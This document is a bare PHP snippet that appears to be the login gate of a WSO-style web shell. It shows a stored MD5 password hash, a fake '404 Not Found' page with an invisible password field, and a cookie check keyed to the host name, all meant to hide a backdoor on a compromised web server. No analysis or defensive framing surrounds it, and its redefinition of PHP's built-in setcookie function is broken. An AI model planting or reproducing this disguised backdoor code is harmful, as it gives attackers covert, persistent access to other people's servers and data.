login

$auth_pass = "655b91faa453da4dc4aeaf135508b373";

function Login() {
	die("
<html><head><title>404 Not Found</title></head>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<body>
<h1>Not Found</h1>
<p>The requested URL  was not found on this server.</p><hr>
<form method=post>
<input type=password name=pass></form></body></html>");
}

function setcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        setcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        Login();
}